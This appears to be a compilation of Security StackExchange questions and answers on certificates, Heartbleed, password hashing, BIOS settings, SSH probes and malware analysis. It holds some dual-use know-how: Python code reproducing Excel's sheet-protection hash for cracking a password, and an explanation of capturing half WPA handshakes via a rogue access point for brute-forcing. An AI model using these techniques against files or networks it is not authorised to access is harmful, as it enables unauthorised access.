Role of certificates in simple hybrid cryptosystem I'm trying to implement a simple licensing system for my softwares and there's something I don't quite understand regarding certificates.

I'm using OpenSSL to generate a RSA private and public key. My executables will embed the public key in order to be able to negotiate a secure connection with the server (by exchanging a symmetric key). RSA is limited to the bytes of the key, therefore I will have to deal, for a 2048 key, to send a symmetric key of about 256 bytes (is this correct?)

What I don't understand is the role of certificates in this process.. do I need one? Examples like this one make use of certificates (either signed by a CA or not). Can't my application just connect to my server, send the RSA encrypted symmetric key and start exchanging data? What's the problem with my approach?

What I don't understand is the role of certificates in this process..

you already answered your question:

  Can't my application just connect to my server

only if your application would know that it is your server and not mine... Here is where certificates start to play a role. They are used to identify communication peers. Server identifies itself with server certificate and client identifies itself with client certificate (if necessary).

All certificates are very similar and you must be able to distinguish them before trusting them. This means that client application must use some logic to validate server certificate to determine whether it is the right and trusted one. There are various options, one of which includes Certificate Pinning. While it sounds as an easy solution, it has some serious issues when you have to replace server certificate, because of expiration or because of compromise.


OVPN Connections vulnerable to Heart Bleed? This may be a stupid question, but I'll ask anyway. I have been reading quite a bit about the Heart Bleed vulnerability, and I'm curious as to whether it only affects web applications or whether OVPN connections secured with certs produced with OpenSSL would potentially be affected.

I have attempted to scan an OVPN Server I know to be secured with OpenSSL certificates at the website http://filippo.io/Heartbleed/, however I get an error in regards to StartTLS. I don't have the ability to execute the Python script where I am, but I'm wondering if this connection could be vulnerable to this attack.

In short, OpenVPN using buggy OpenSSL versions are indeed affected. OpenSSL versions older than 1.0.1 and newer than (and including) 1.0.1g are safe. Versions in between may be safe iff the vendor applied a patch. Note that there are other SSL libraries that can be used with OpenVPN, namely PolarSSL.

Long story, OpenVPN often uses UDP instead of TCP. Existing public tools are mostly concentrated on TLS over TCP. So for that reason alone, you cannot just enter your OpenVPN server running on UDP into a random website and expect a sane response.

Second, OpenVPN uses its own protocol on top of TCP. TLS run atop of that protocol. Looking at a packet capture for OpenVPN (over UDP), I can see that the Heartbeat extension is advertised.

If you have not updated your OpenVPN client now, hurry! If you manage the OpenVPN server and have still not considered updating your OpenSSL libraries, have you been sleeping for a whole day?!


Method/program for editing secure files I'm not entirely sure if this is on-topic for Security.SE, but it doesn't seem entirely off-topic either, so I'll try. :)

I keep a couple of (GPG-)encrypted files with more-or-less sensitive information; particularly passwords for various web services. While they are mostly used read-only, I sometimes need to edit them to change or add information, and I worry about how I leak the contents of them when doing so, and what can be done about it.

In particular, what I do is: 1) decrypt the file, 2) edit it with vi -n (I'm using Linux), 3) encrypt the file again and 4) clear the decrypted file with the shred utility. I know, however, that this leaves at least the following venues for the contents to leak:

Since vi's memory is swappable, it may have leaked to the swap partition. I guess this is unlikely due to me having lots of RAM and the editing sessions being brief, but it's clearly a possibility.
The same can be said for the terminal emulator I'm running vi in, obviously.
Worst of all, however, is that vi uses the terminal's "alternate screen", which isn't cleared when vi exits.

Is there anything that can be done about these, and are there any others that I've missed. I guess there should be some easy way to clear the alternate screen after I've exited vi, but I haven't found one yet (neither clear nor reset do). The problems about vi and xterm being swappable, however, seem generally harder to fix.

Can anything be said about general guidelines when editing files with secure contents?

Here is what I have done, and still do in some specific cases:

I use a machine with no swap. In my case, an old Asus EeePC with the famously horrendous proto-SSD; you really do not want to use it for swap space. Instead, I replaced the RAM chip, up to 2 GB.
I configure /tmp to be a RAM-based filesystem (search for "tmpfs" in the man page for "mount").
When I need to access a GnuPG-encrypted file, I decrypt it and visualize or edit it entirely in /tmp. Only the encrypted file ever exists on the disk.
I never use the "hibernate" option. I shut the machine off when I don't use it.

That way, no risk of leakage to a permanent medium. I apply this when I need to travel and keep my "passwords.txt" file with me. The attack model is the following: if my machine is stolen, it will be off.

Now this probably seems a little extreme, but I think it is time to reconsider the wisdom of enabling swap space. Over the last four years, the only occasions where I actually hit swap were situations with a process gone into an endless allocation loop, thus saturating the whole RAM -- the presence of swap only served to make the problem worse, not better, because it allowed the machine to pretend that it could survive, and engage into considerable harddisk grinding, before finding out that the mad process had finally to be killed.

GC-based language and smartphones/tablet both contribute to creating an ecosystem of software (applications, libraries...) which are definitely adverse to swap, so it can be predicted that swap space will keep on losing relevance over the next years.

(I admit that if I wanted to use hibernation, it would bring the leakage back. But I never really got used to hibernation; I prefer to optimize the boot sequence. My current laptop -- not the EeePC -- has a good SSD and runs Lubuntu: it boots up in less than 25 seconds, including the BIOS sequence.)


MD5 Algorithms in web development I am storing the passwords of my college website in our own server. I am storing the passwords using the MD5 encryptor. But the doubt I got is since the decrypter is there I can also decrypt the passwords and use them. So how these passwords are secured with me.

MD5 is not an encryption algorithm. It is a hash algorithm. Hash algorithm are one-way. There is no decryptor.

Hashes are used to generate a fingerprint of a text string. Reverse-engineering the input from the hash should be impossible. When the hash-function is cryptographically secure, there should be no way which is more efficient than trying out all possible inputs until you find one which coincidally has the same hash.

How do you apply this in a password system?

When the user tells you their password during registration, you don't save it. You generate the hash of the password, save the hash in the database, and forget that you ever saw the cleartext password. When a user then tries to login, they give you a password. You generate the hash of that password, and when it matches the hash in your database, you let them in.

But please note that MD5 is no longer a good choice for password encryption.

MD5 is a fast algorithm. At first glance this seems like an advantage because it makes authentication faster. But it also makes it much easier for anyone with access to the hash to try out passwords until they found one which matches.
The security of MD5 is disputed. Many flaws were discovered in the algorithm which make it possible to reverse-engineer the input of an MD5 hash in some scenarios.

For these reasons, you should use another algorithm when possible. A good choice for password encryption is bcrypt, because it was designed especially for this purpose. When an implementation is not readily available for your development framework, SHA-2 can be considered an alternative where implementations are easier to come by. It's not considerably slower than MD5 which makes it easier to crack given enough computing-power, but it has no known critically vulnerabilities like MD5. For low-security systems it's still adequate.


Can "Accept cookie" button in a website be malicious? I don't remember when this "accept/cancel cookie" button started to be used in websites. Why do they insist on getting users to click on this button?

Can it do any harm to user's PC or to collect any private and sensitive data? Their reason for this mostly is "For better browsing experience on the website".

Is it possible to use this as a trick for a possible hack? Also my knowledge of cookies and web hacking is not good enough.

Technically, browsers do not have to ask the user a question in order to use cookies. Furthermore, they are not technically bound to the answer given by the user.

Legally, that is another matter. In the European Union, the websites are now required to ask the user for their consent before using tracking cookies or other means to collect personal data about the user. However, they do not have to ask for the consent of the user to use cookies necessary to provide their service (such as session cookies). Thus, if websites asks to allow cookies, it is in order to legally collect personal data about the user. This data can be considered private or sensitive, depending on the appreciation of the users.

The formulation “For better browsing experience” usually means “In order for us to provide you targeted advertisement, that will earn us more money to make better content.” or “In order for us to provide you targeted advertisement, so you will have (in theory) less irrelevant advertisements”.

A malicious website might not honor their legal obligations. They could ask for the consent and not honor the answer, or they could dispense with asking the question in the first place.

For more information on the law: GDPR on Wikipedia


How do certificates stop this man in the middle attack? Alice and Bob are trying to set up a secure conversation, but unknown to them in the middle is Eve, who can intercept and modify all packets sent between them.

The communication goes as follows:

Alice sends a hello to Bob, and includes some parameters (say, an ephemeral Diffie-Hellman public key) A. Eve intercepts the message and replaces A with E.
Bob replies with parameters B, and also sends his certificate which contains his public key and his domain. Eve intercepts this. At this point Eve and Bob derive a shared secret EB from E, B, and their associated private data (say, associated ephemeral DH private keys), which Alice does not know.
Eve forwards the message from (2) to Alice, leaving the certificate the same (not being a CA, she can't create her own) but changing B to E. At this point Alice and Eve derive a shared secret EA from E, A, and associated private data, which Bob does not know.
Alice verifies the certificate. It wasn't tampered with, so no flags are raised.
Alice encrypts a message using Bob's public key (from the certificate) and sends to Bob. It contains the shared secret EA.
Eve intercepts this message (which admittedly she can't decrypt), and discards it. She instead sends Bob a new one, encrypted with his public key, containing the shared secret EB. Bob looks at this and it matches the shared secret he was expecting, and so considers the handshake to be a success.

From now on Bob and Eve have a conversation using the shared secret EB, and Eve and Alice have a conversation using the shared secret EA. Neither Bob or Alice are aware that Eve is eavesdropping.

Supposedly, this is meant to be prevented by the certificate, but I don't understand how.

No actual security system works like you describe, for exactly this reason. The certificate is not used to encrypt the shared secret to verify that they have the same secret; that would be pointless (you might as well just have one side generate the secret and send it encrypted with the other side's public key). When the shared secret is generated using data not in the certificate, the role of the certificate is to sign that data; a rule of thumb is that you should never accept any input to the key generation process that didn't come from you and isn't signed by a trusted public key (with TLS the CA keys come preloaded into a browser, so they're trusted; the CA-signed certificate then establishes trust in Bob's public key).

In this case, the actual way the communication would work is:

Alice sends Bob A. Eve intercepts it and replaces it with E.
Bob sends back a certificate, B, and a signature for B that can be verified with the certificate. The certificate is for a signing key, not an encryption key (with RSA the difference is just what you designated the key for, but there are algorithms that are encryption-only or signing-only).
Eve intercepts that and replaces B with E. However, she can't sign E with Bob's private key, so she either changes the certificate and signs E with the new one, or leaves the certificate as-is (but doesn't create a new signature with it, because she can't).
Alice sees that either the certificate isn't signed by a CA, or that the signature verification fails (the signature is not a valid signature of E).
Alice terminates the communication, because she knows it's being tampered with.


Smartcards for Dummies Are there any defacto resources for understanding the basics of smart cards?

My problem is that I don't know what I don't know about the technology.

Any good primers?

Depending on what you are looking for there is a lot of technologies covering the smart card topic. Some of them coming to my mind:

ISO 7816: cards with contact http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816.aspx
ISO 14443: contactless smart cards
http://en.wikipedia.org/wiki/ISO/IEC_14443
PKCS#15: Cryptographic Token Information Format Standard http://www.rsa.com/rsalabs/node.asp?id=2141
PKCS#11: Cryptographic Token Interface Standard
http://www.rsa.com/rsalabs/node.asp?id=2133


What bios passwords & settings are important to set on a Thinkpad X1 laptop? I am just booting my new X1 for the first time, and went into the bios to set a bios password. I discovered a slew of security settings:

Supervisor password
Lock UEFI BIOS Settings (enabled/disabled)
Password at Unattended Boot (enabled/disabled)
Password at Restart (enabled/disabled)
Password at Boot Device List (enabled/disabled)
Password Count Exceeded Erro (enabled/disabled)
Set Minimum Length (integer)
Power-On Password
Hard Disk1 Password (text field, need to choose "User" or "User+Master")

So - I have the option of typing 3 distinct bios passwords (not including the OS password), and enabling or disabling it at various points in the boot cycle.

What's a good, secure setup to use that's still convenient? Why do I need 3 distinct BIOS passwords? Which of the checkpoints should be put on enabled ?

Also - I intend to enable full disk encryption using Bitlocker. Does it make some of these options reduntant?

BIOS passwords just deter the lowest possible attack vector: someone without any technical knowledge booting your laptop/from an external drive. If you do not have BitLocker in place, an attacker could then access data on your drives and affect the whole (Confidentiality, Integrity, Availability) CIA-triad. But even if you set a BIOS password, this would not hinder a more "advanced" attacker from simply removing your non-encrypted drive and plugging it into their own machine, again affecting the whole CIA-triad.

So to sum it up: BIOS passwords are easy to set up, so you might as well. Even if it's just to "protect" your device from someone who's technically completely unsavvy trying to boot from it.

Additionally, you definitely should use Full Disk Encryption to protect your local data from technically more advanced threats. Just make sure to use an adequately long and complex password. And keep in mind what @RubberStamp wrote in his comment: FDE only protects your data if your drive is not powered on. So power off* your machine whenever you're not using it/it is not in your direct line of sight.

EDIT: * Sleep seems to be an issue with BitLocker, according to this answer, hibernate seems to be ok according to this comment.


How can I verify signed commits made by other people? As identified in this related question, github signs commits made from their application with their GPG key 4AEE18F83AFDEB23. Online, I can see commits tagged as 'verified'. But when I attempt to verify them on my local, I am unable to:

$ git log --show-signature

commit 1bd20e9f7ed0860dc1971957b61ea25aeea499a1
gpg: Signature made Tue  6 Feb 00:04:43 2018 AEDT
gpg:                using RSA key 4AEE18F83AFDEB23
gpg: Can't check signature: No public key
Merge: c1218d5 0dde09c
Author: Brendan Roy <br3ndanr@gmail.com>
Date:   Tue Feb 6 00:04:43 2018 +1100

    Merge pull request #1 from bmon/pullreq

    this is a test

1bd20e9 is a commit github made on my behalf. How can I verify the commit was made by github?

Instead of blindly accepting a GPG key from an answer here, I would do the "right" thing and get the public key from a reasonable source. GitHub hosts their web flow GPG public key at the following address:

https://github.com/web-flow.gpg

If you decide that you trust this source, and believe it to be a place where GitHub would logically provide it's public GPG key, you can import it with the following command:

curl https://github.com/web-flow.gpg | gpg --import

GPG is all about trust, and understanding where the keys are coming from is a key part of understanding whether or not you trust a key or not. After importing this key, if you decide that you believe the key to be valid, and that it belongs to who it is said to belong to, you can sign the key, optionally publishing your signature to a public key server, acknowledging publicly that you trust that the key itself is valid.


Hard Coded Credentials in Equipment Serviced by Many People According to National Public Radio, Ruben Santamarta has reported that gear aboard airliners and accessible through on-board WiFi or in-flight entertainment equipment uses hard-coded login credentials. http://www.npr.org/blogs/alltechconsidered/2014/08/04/337794061/hacker-says-he-can-break-into-airplane-systems-using-in-flight-wi-fi?ft=1&f=1001

I understand why hard-coded credentials are bad, but I also understand the airlines' problem:  they have to service hundreds of airliners at dozens of locations.  At a minimum, it seems like there should be a default password, changeable by the airlines, so that, e.g. Delta could have one system-wide credential and United another.  That would also allow credentials to be changed after the inevitable leaks.

My question: Is there a better approach?

We have to wait for the conference to start for more information. But my first thoughts:

the wifi and entertainment systems should be separated from the control systems. It should not be possible to just find a password and then control the plane (or parts of it) from you personal computer. At least make an attacker get out of their seat.
passwords should not be hardcoded. ever. this makes them hard to change, it causes problems when source code leaks, it exposes more people than necessary to passwords (eg code reviewers), passwords are (probably) plaintext, etc. It's just an all-around bad idea.
technicians should each have their own password (yes, this has to be maintained. But I would assume that there is a lot of stuff on planes that already needs maintenance, this is just one more thing to do). This way, access can be revoked on a per person basis (technician Bob might be an attacker. what then? or he might have a drinking problem and talk too much, or he might be fired one day, or he might be friends with sketchy people).
passwords should be changed often in irregular intervals
I would seriously consider one password for each technician for each plane, maybe changed daily.
security training of technicians. I don't know if this is happening, but it should. For example, they should be told to not ever give out their password.
as @Ricky Demer said, access to such critical systems should be restricted by passwords and some hardware solution.


SSO: Who is the idp (identity provider) for Google Apps? If I am a user for different Google Apps. Google Apps (gmail, google calender, games logging in using Google email account, etc.) are different service providers. Who will be the identity provider (idp)? Is it Google an idp as well?

Basically, yes. Any Google-based app uses a Google Id for authentication. As such, they are their own IdP.

You can additionally federate to Google with your own IdP as well if you are an enterprise user. It would work along the lines of:

Your IdP => Google Id (gIdP) => GMail


Crack windows excel password I have many password protected microsoft excel worksheet and I need to be able to edit it. I have forgotten the password, and I know that I can edit the file and take out the password check, but I have quite a few worksheets I would have to do this on. They all have the same password so I would like to crack the password. I got the sheetProtection element already:

<sheetProtection algorithmName="SHA-512" hashValue="exBYsHJhLjU2iumFwDs7uFdq6WBWwAyJj3DqKQg85bmTocK4dNrqCpPePQC23Rikd5QSY5WyREknFGhRxKcB2w==" saltValue="DdJzMvZ9KqpGuTrabHJ1eg==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>

I tried using john the ripper to crack this password, but it just gives a no password hash loaded error, and when I use office2john (a tool to convert microsoft office files'hashes into one that john can use https://github.com/magnumripper/JohnTheRipper/blob/bleeding-jumbo/run/office2john.py) but I still get that same error.
How would I go about breaking this password (for the sake of this example the password posted here is "john"?

office2john is designed for encrypted files, not files that just have an easily-removable snake-oil protection field. Anyway, here's a quick implementation of the algorithm that they use:

#!/usr/bin/env python3

from base64 import b64encode, b64decode
from hashlib import sha512
import struct

def hash_password(password, salt, spincount, hash):
    result = hash(b64decode(salt) + password.encode('utf_16_le')).digest()
    for i in range(spincount):
        result = hash(result + struct.pack('<I', i)).digest()
    return b64encode(result)

print(hash_password('pwd', '876MLoKTq42+/DLp415iZQ==', 100000, sha512))
# 5l3mgNHXpWiFaBPv5Yso1Xd/UifWvQWmlDnl/hsCYbFT2sJCzorjRmBCQ/3qeDu6Q/4+GIE8a1DsdaTwYh1q2g==

I took that test case from LibreOffice.

This doesn't produce the right answer with what you posted, though:

print(hash_password('john', 'DdJzMvZ9KqpGuTrabHJ1eg==', 100000, sha512))
# L69ms0LAD5mz5M8RdRtcn1UTSXWSfX9YI9hK9mPW1n4eW6I8ilTLi6el6LafMj2RVsxjg2aumqSeIfFk25drVw==
print(hash_password('**john**', 'DdJzMvZ9KqpGuTrabHJ1eg==', 100000, sha512))
# 7YpVVKy6la5CEYWmfbUbF6BFgeopeT/Uh52as+I+NVYqFRqVFvSUWfdCP1J5dUGeWBy3cJHan+i/IZieabrGGw==

The OOXML specification for hashValue says "This value shall
be compared with the resulting hash value after hashing the user-supplied password
using the algorithm specified by the preceding attributes and parent XML element" and "The hashValue attribute value of 9oN7nWkCAyEZib1RomSJTjmPpCY= specifies that the
user-supplied password must be hashed using the pre-processing defined by the parent
element (if any) followed by the SHA-1 algorithm (specified via the algorithmName
attribute value of SHA-1) and that the resulting hash value must be
9oN7nWkCAyEZib1RomSJTjmPpCY= for the protection to be disabled."

I suspect this difference comes from a parent XML element specifying an algorithm, which you didn't bother to show us. If you want to crack your password and not just remove it, then you need to do two things:

Account for the extra preprocessing algorithm, if you have one
Either add functionality to John the Ripper to support sheet protection passwords (which you'll need to keep separate from the existing Office encryption functionality), or write your own cracker based on the algorithm.


OpenPGP specification and ECC From OpenPGP specification (RFC 4880) section 13.8 (Reserved Algorithm Numbers):

  The reserved public-key algorithms, Elliptic Curve (18), ECDSA (19),
  and X9.42 (21), do not have the necessary parameters, parameter
  order, or semantics defined.

But GnuPG has ECC support. What they use as a reference? How other developers could support ECC and read messages from GnuPG with ECC?

While OpenPGP in the current revision is defined by RFC 4880, there are two additional RFCs providing extensions:

RFC 5581 defines the Camellia Cipher in OpenPGP
RFC 6637 defines elliptic curve cryptography in OpenPGP

Furthermore, a draft for EdDSA signatures is already proposed. GnuPG 2.1 already implements this draft.


Accessing WPA/WPA2 password from native auth form on a rogue router I'm trying to wrap my head around the WPA/WPA2 4-way handshake in an attempt to determine if it is possible for a rogue wireless access point to retrieve a plaintext (or hashed) version of a router's password that is delivered via a legitimate authentication form prompted by a client's native OS. I have plenty of experience capturing handshakes and cracking them in different pentesting scenarios, but I'm interested in exploring the following scenario:

A rogue honeypot router responds to an STA probe request (w/ probe response or beacon). This honeypot initiates the WPA/WPA2 authentication process.
The client, believing the AP to be a known network, tries to connect, but is initially rejected because the WPA/WPA2 password does not match the password for the true router. For all the client knows, the network is the same, however the administrator has changed the password. A native OS auth form is presented to the client by the OS/Network Manager (likely with a password pre-filled). The client submits the password to the honeypot network that is using the temporary SSID of the trusted network.
???. Is it possible for the honeypot, which is presenting the STA with a legitimate authentication requests (using any arbitrary WPA password on the router) to view the plaintext version of the password that was sent by the STA in an attempt to authenticate? If not, in what format is this password presented to the AP for authentication?

I'm interested in learning the current options (cli/tools) for this kind of phishing attack (again, relying entirely on a naive OS WPA authentication form, not a captive portal type HTML phishing page). If none exist, I'm curious if WPA/WPA2 would even allow for the scenario described in the above steps to occur. I'm a very comfortable programmer and am willing to patch Hostapd or use libpcap to implement this kind of functionality if need be. I just am having trouble determining if this type of attack is even possible.

I would recommend you to understand the four-way handshake of WPA/WPA2 first. The resource in your linked question is very detailed, but the Wikipedia article should also give you an adequate understanding of the process.

It is not necessary that the user inputs the password in the native OS authentication form. If a client finds a network he knows, he automatically try to connect to it. (This is the normal behavior of most clients.) After the association, the four-way handshake is started. Even if the Access Point have a different PSK than the client (e.g. is a rouge honeypot router), the first two messages will be exchanged, because only with the third step the client can verify that the AP has the same PSK. But an attacker needs only the first two messages of a handshake to perform a brute force attack on the PSK. There is a tool for cracking half-way handshakes available on GitHub.

The OS authentication form is an implementation detail of the client (e.g. Windows). The client recognizes with the third message of the handshake, that the AP is using a different PSK and allows the user to input a new password, in case he has changed it recently in his router. If he does this, the client will associate with the AP again and try to perform the four-way handshake. There is no advantage for the attacker, if the user does reenter the password. In no case the PSK will be sent in plain text.


Security risk of connecting one mobile device to another mobile device's hotspot Is there any risk when connecting an Android Phone to a [Verizon] iPhone's Hotspot? If there are I'd like to know about solutions.

The Android Phone will basically be tapping the data plan of the iPhone through its turned on Hotspot.

If you control both devices, then the only extra risk I would be concerned about is someone sniffing the wireless traffic between the two, so use decent encryption, and possibly restrict access by MAC address etc and you should be fine.


Filehosting - Malicious or not? I see a lot of file hosting services like rapidshare, mediafire etc. But, I wonder if some of them are malicious or not. Rapidshare seems okay, but there are many (obscure) sites like the ones below which seem dangerous to me. They probably tempt people to download files and run some exploits in the background.

How do I find out if they are okay or not ?

EDIT -  I meant that I want to find out if these sites are genuinely interested in file hosting or if they are trying to tempt people to visit their website for downloads and then running some browser exploits when they come ?

Source - search "game videos filestube" on google.

It is not in the file hosting sites' best interests to be directly malicious towards end users. You'll find however, that some more unscrupulous advertising companies will load advertisements that entice you to click through which will then install things like adware. This type of advertising usually pays a little bit higher than standard banners and thus result in being more widespread among less scrupulous businesses (like some of the filehosting sites).

Off the top of my head, most of the above hosts are more or less 'safe'. You face more of a risk downloading unknown or 'cracked' applications from these sites that users have uploaded and shared links to.

You'd be relatively safe visiting these sites with an upto-date browser (and associated plugins like flash and java), AV and patched machine. If you use things like Ghostery , ad-block plus and a patched HOSTS file you'll be improving your security even more.

To say that any site is more or less safe than any other is difficult because if any of these sites get compromised then its entirely possible that they'll be unintentionally spreading malware. This also extends to the linked advertisements.

Simply put:

Block as many ads as you can
Dont click on anything that isn't the (sometimes disguised) download buttons
Don't download unknown exe's/cracks/etc from such sites
Make sure you system is patched and up-to date

Hope that helps.


ssh signature question (no matching key exchange method found) I recently followed the advice at this blog to tighten down my SSH security, which included restricting key exchange algorithms to ones not vulnerable to known (or assumed known) capabilities of Prime attacks on DH.

I'm happy with the setup and it's working well, but since putting this in place on my server, I'm now seeing lots of messages like these in the logs:

  sshd[19853]: fatal: Unable to negotiate with XXX: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]

This doesn't concern me, this is the usual random connections to port 22 I was seeing previously, except now they are being rejected at at key exchange instead of during user auth attempt (ie. trying to login as root, oracle, etc).

I am the only user on the host so all of these are probe/hack attempts. But it's interesting to me that the majority of attempted connections focus on these algorithms. Here's the breakdown of the most common signatures I see:

> journalctl -n 1000 | grep sshd | grep  "no matching key exchange" | sed -r 's/.*Their offer: (.*) \[preauth\]/\1/' | sort | uniq -c
      2 diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256
      4 diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1
      1 diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
     63 diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1
    411 diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

For the most common one diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1, I'm curious if this is a specific signature (ie. perhaps this is the default in certain older versions of SSH) or if this is an indication of hackers purposely restricting key exchange to focus on these weaker algorithms.

My google searching turns up nothing of value so I'm turning to this community in hopes of someone here having seen and researched this before. More curiosity than a problem to solve, but still hoping someone here has the knowledge to satisfy the curiosity.  :)

I'm curious if this is a specific signature (ie. perhaps this is the
  default in certain older versions of SSH) or if this is an indication
  of hackers purposely restricting key exchange to focus on these weaker
  algorithms.

Your attackers are not interested in the key exchange algorithms at all, per se. It doesn’t matter if they are weak in this case or not. The key exchange allows the client to verify the server’s identity, and establishes cryptographic protection for the rest of the connection (the MAC and encryption keys). Your attacker is the client, and doesn’t care about any of that; all he wants to do is try a bunch of common username/password combinations to see if he can get in. Those key exchange algorithms are just common ones that, until recently, were almost always enabled; these in particular:

diffie-hellman-group1-sha1
diffie-hellman-group14-sha1

… are required to be implemented by RFC 4253.


How to identify the Java program that is maliciously accessing my web site from many client addresses? For many years, my personal web site receives numerous pairs of hits that look like this, every day:

202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04"
202.xx.xx.xx - - [22/Apr/2013:12:02:27 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04"

The only thing the requests have in common is the "GET / HTTP/1.1" query, the Java user agent, and the fact that they come in pairs. Forensic logs don't reveal any other distinguishing qualities. The Java versions vary all over the map, as do the source IP addresses. I suspect that someone very antisocial has coded a semi-popular Java app that pings my site in this way, just to annoy.

No matter what response I send (2xx, 3xx, 4xx, 5xx, responses with images, responses with a thousand nested <div>s, etc.) the behavior from the clients is identical. Some of the client IP's seem to be servers, while others are residential connections. An email campaign attempting to notify/query the holders of the more identifiable addresses did not produce any useful clues as to the identity of the application.

This abuse isn't exactly a strain on my servers, but it's annoying. How can I identify the Java program that is responsible?

The "user agent" is a string sent by whoever connects to your system -- the antisocial individual. Therefore, you cannot really trust it. Which means that you cannot assume that this client really uses Java. Actually, if the Java version is "all over the map", then this is a strong indication that the client is not using Java. A real Java-based standard HTTP client will return the version of the employed JDK; 1.4.1_04 is really old, and might not work anymore with a recent operating system.

So my opinion is that you can strike out the "Java" keyword in your search. These requests are probably the works of a botnet which tries to spread; the infected machines send these HTTP requests in order to get some information on random Web servers (e.g. server software version), and they disguise as "Java requests" in order to avoid some poorly-configured firewalls and filters.

This is not done to annoy you. It actually annoys everybody. All publicly available servers will receive requests such as yours; replicating botnets just use random IP addresses, and you cannot evade randomness. I get some on my own server, too.


Encrypting Tails USB Boot Disk (Live) To use tails, I have always used a DVD, because of the fact I know it will not be tampered with, at least within reason. However there are endless reasons why a USB boot option would be faster, and in the current project I am building, it is the only real choice.

Here is what I do not get, and why because it seems so glaringly overlooked, I figure I must be misunderstanding something... When tails installs to a USB drive, why does it not encrypt the partition, and require a pre-boot authentication to protect the drive integrity?

As it stands I can mount the drive on another computer, tinker with it, and make that tails installation compromised.

That way just like any other OS, you cannot side attack the OS with physical possession of the disk without having to break encryption?

I am not finding much chatter on it so again, am I just missing something?

The end result I want is the disk to not boot into my install, or allow mount elsewhere, without having to authenticate first, and if the disk is lost/stolen, borrowed or whatnot... That it is all safely encrypted.

Edit:
So after some helpful comments, this seems that it would not work exactly as expected.

So pending not the outcome I had hoped, I could potentially buy small SSDs use GRUB to boot the ISO from inside the drive, that way I could verify the integrity of the ISO file, and that file would be stored on the encrypted side of the disk... Something similar to this.

Optical drives are battery hogs, and if the system could have the secondary battery in that bay, plus the lower power consumption... Well the prototype was working at almost 8.5 hours battery life! That was awesome.

Unfortunately this project's time requirements are likely going to reduce its profit margin to 0 or - which will equal not going to happen...

This is a valid question. I believe the OS was originally created to be booted onto a CD/DVD and act as throw away media, that could be used in conjunction with a securely encrypted thumb drive for storage.

There are methods you could use, in fact LVM over LUKS encryption comes to mind (and sounds a lot like what you're asking for) for full system (minus boot partition of course) encryption to ensure the systems integrity and confidentiality (if made persistent) hasn't been compromised. It would also be possible to hash the USBs contents to check for possible tampering.

I imagine the reason this isn't implemented is that it increases the difficulty level for implementation significantly. The average Joe (the people this was originally created for) would probably give up before going through the trouble of encrypting volumes and such, I know that (at least for me) it was quite a pain to implement LVM on LUKs on my Arch system.

In any case, I probably wouldn't trust any media that you handed off to someone else, if you're relying on it to be secure. As far as you knowing your DVD hasn't been tampered with... well I could probably make one that looked just like yours fairly easily if I had direct access to it... Just a thought.

This all comes down to security in-depth, ease of use over security, how far you want to go with it and how paranoid you are about your potential threats.


How does a ring 3 rootkit manage to modify files in /etc and/or /usr? A recent article spiked my curiosity; please bare with me, I'm no security expert but just a Linux admin.

This states that the rootkit runs from userspace, but modifies /etc/so.preload and creates files under /usr/share. By which mechanism is this possible?  That the article didn't mention as far as I'm aware.

Are you just asking how a user-mode program can write files? User-mode (ring 3) does not mean unprivileged, although kernel-mode (ring 0, the opposite of user-mode) does imply privileged. Every time you sudo a command, you're running ring 3 code that can modify arbitrary files. The "root" user's programs run in ring 3 just the same as anybody else's.

A rootkit like this obviously requires privileges (i.e. root) in order to install. It does things like create a user, which can be done with userspace code (there are some calls into the kernel, but you don't have to install a kernel module to do it) but cannot be done by an unprivileged user.

As a side note, user-mode rootkits are weaker than kernel-mode ones. As a practical matter, third-party code will essentially never make a system call directly, because system calls are not like "normal" functions and the details are platform- and implementation-specific, and might change between major kernel revisions. Making syscalls directly from your code will likely make it non-portable, and is easy to screw up. However, it is possible, and if you do that, you will bypass the shim that the user-mode rootkit has set up to tamper with your syscalls.


Reviewing IP(s) that has been blocked by firewall / router Is there a best practice on how to review IP(s) that are blocked on firewall / router and determine if they are safe to be removed from banned list?

Occasionally, the firewall guys see a high counts of security events on the security devices and will proceed to block them in the firewall or router. Over time, these lists become too long and some IP(s) blocked may not be no longer relevant.

As such, how do we deal with these IP(s)? Thanks.

Security is nearly always a tradeoff and your strategy here will have to be adjusted to make that tradeoff acceptable to you.  I see three aspects:

Unblocking too early.
Unblocking too late.
Extra RAM/CPU/latency of holding long lists of IP addresses in your firewall.

I would unblock any IP that hasn't sent any malicious traffic for some amount of time.  The amount of time I would initially choose would be 12 hours.  This number strikes a balance that favours letting falsely blocked users back in quickly and keeps the lists short.  I've never seen a single IP address pause for 12 hours before sending more malicious traffic although such a thing is possible.

Note that this is 12 hours after the last maliciois traffic was detected, not 12 hours after the block was put in place.  If an attacker keeps trying even after he's blocked, he stays blocked.

The number should be tuned based on what you see the attackers doing and on the estimated cost of a falsely blocked user and one extra IP address in the firewall rules.


Reverse Engineering for .rtf files I've received lately a .rtf attachment on my work email from an untrusted email account.

I suspect the attacker is exploiting "Microsoft Security Bulletin MS12-029" vulnerability.

What are the recommended steps to study this .rtf file and learn the attack used in it?

A cursory look at the Web yields no precise detail, but it seems (from what is said on this page) that the vulnerability is one of the usual suspects: buffer overflow (probably on the heap, not on the stack) or access-after-free.

Among possible analysis methods:

Setup two virtual machines, with external accesses properly filtered; the two machines should differ only by the version of Office they contain (one patched, one unpatched). Take snapshots of both. Record the hashes of all files on both machines. Open the file in both, while recording every attempt at external traffic. Afterwards, see what changed on both machines (recompute all file hashes, compare with previous lists, use the snapshots to see what exactly changed in each file).
